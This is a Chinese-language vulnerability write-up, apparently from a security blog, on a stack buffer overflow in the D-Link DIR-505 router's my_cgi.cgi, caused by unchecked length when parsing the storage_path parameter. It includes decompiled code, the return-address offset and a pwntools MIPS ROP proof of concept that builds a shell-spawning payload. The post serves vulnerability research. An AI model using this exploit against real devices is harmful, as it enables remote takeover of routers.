D-Link DIR-505越界漏洞分析

基本信息

Link DIR-505路由器是一款便携式无线路由器,但在该路由器的“my_cgi.cgi”的CGI脚本中,存在缓冲区溢出的漏洞。造成漏洞的原因并不是常见的危险函数将大缓冲区复制到小缓冲区造成溢出,而是在目的缓冲区和源缓冲区之间以字节为单位循环赋值转储时,对边界验证不合理导致程序越界访问源缓冲区,最终造成缓冲区溢出。溢出发生后,攻击者可以获取路由器远程控制权。

漏洞分析

根据漏洞描述直接分析对应的my_cgi.cgi文件:漏洞在于处理POST参数中storage_path参数的值时发生了缓冲区溢出。
在对storage_path八处调用中有一个get_input_entries函数,先看看这个函数。

首先我们看到第一个参数传入的是栈地址,第二个参数则是获取的content_length的值。现在我们进入该函数:

while ( length > 0 )
  {
    if ( stdin->_fileno )
    {
      write_base = stdin->_IO_write_base;
      v8 = write_base + 1;
      if ( write_base < stdin->_IO_write_end )
      {
        v9 = *write_base;                       // 获取一个字符地址
        stdin->_IO_write_base = v8;
        goto LABEL_8;
      }
      v10 = (int (**)(FILE *))&_fgetc_unlocked;
    }
    else
    {
      v10 = &fgetc;
    }
    v9 = ((int (*)(void))v10)();                // 调用getc函数给v9
LABEL_8:
    if ( v9 == '=' )
    {
      v11 = 0x425 * v4;
      if ( !v6 )
      {
        v5 = 0;
        v6 = 1;
        goto LABEL_17;
      }
LABEL_15:
      v6 = 1;
      *(_BYTE *)(stack_addr + v11 + v5 + 0x24) = v9;
      goto LABEL_16;
    }
    if ( v9 == '&' )
    {
      ++v4;
      v5 = 0;
      v6 = 0;
      goto LABEL_17;
    }
    v11 = 0x425 * v4;
    if ( v6 )
      goto LABEL_15;
    *(_BYTE *)(stack_addr + v11 + v5) = v9;
LABEL_16:
    ++v5;
LABEL_17:
    --length;
  }

这段代码大概能看懂是对传入的栈地址,根据length大小进行赋值。那么length没有检查,如果大于栈的buffer,那么就会造成栈溢出了。

测试

测试溢出:

查看溢出位置:

得到ret偏移为:477456+16 = 477472

拿shell的方式和之前的一样

调试过程中遇到一个比较神奇的事情,当情况a1寄存器,也就是调用函数的第二个参数的时候。这时调用函数时会将寄存器s5的值给到a0(也就是调用函数的第一个参数)

poc

#!/usr/bin/python
#!/usr/bin/python
from pwn import *
context.endian="big"
context.arch="mips"

libc_base = 0x7f6d0000
execve = 0xb0a0
binsh_addr = 0x54aa8
system = 0x4bc80

magic1 = 0x4f3b0
# LOAD:0004F3B0 move    $a0, $s1
# LOAD:0004F3B4 move    $t9, $s4
# LOAD:0004F3B8 jalr    $t9 ; f

magic2 = 0x0047834
# LOAD:00047834 move    $a1, $v0
# LOAD:00047838 move    $t9, $s3
# LOAD:0004783C jalr  

payload = "a"*(477456+16-36) # 477472-36
payload+= "abcd"  # s0
payload+= p32(binsh_addr+libc_base)  # s1
payload+= p32(binsh_addr+libc_base)  # s2
payload+= p32(execve+libc_base)  # s3
payload+= p32(magic2+libc_base)  # s4
# payload+= p32(binsh_addr+libc_base)  # s5
payload+= "fuck"
payload+= "/sh;"  # s6
payload+= "mnop"  # s7
payload+= "qrst"  # fp
payload+= p32(magic1+libc_base) # ra

with open("payload",'wb') as f:
    f.write(payload)
f.close()

 Previous
华为HG532路由器漏洞CVE-2017-17215分析 华为HG532路由器漏洞CVE-2017-17215分析
漏洞描述华为HG532产品存在远程命令执行漏洞,华为HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品 固件解压 这个squashfs_root将会被我们拷贝到qemu中 环境搭建下载qemu sudo apt-g
Next 
2020祥云杯-babydev 2020祥云杯-babydev
[toc] 查看文件查看保护机制: 之前一直想复现一下这道题,当时没找到洞在哪。 IDA分析首先了解这么几个参数: 文件的读写指针,规定write和read的位置;文件的头指针,指向文件内容开始的地方,它存放在mydata+0x10
  TOC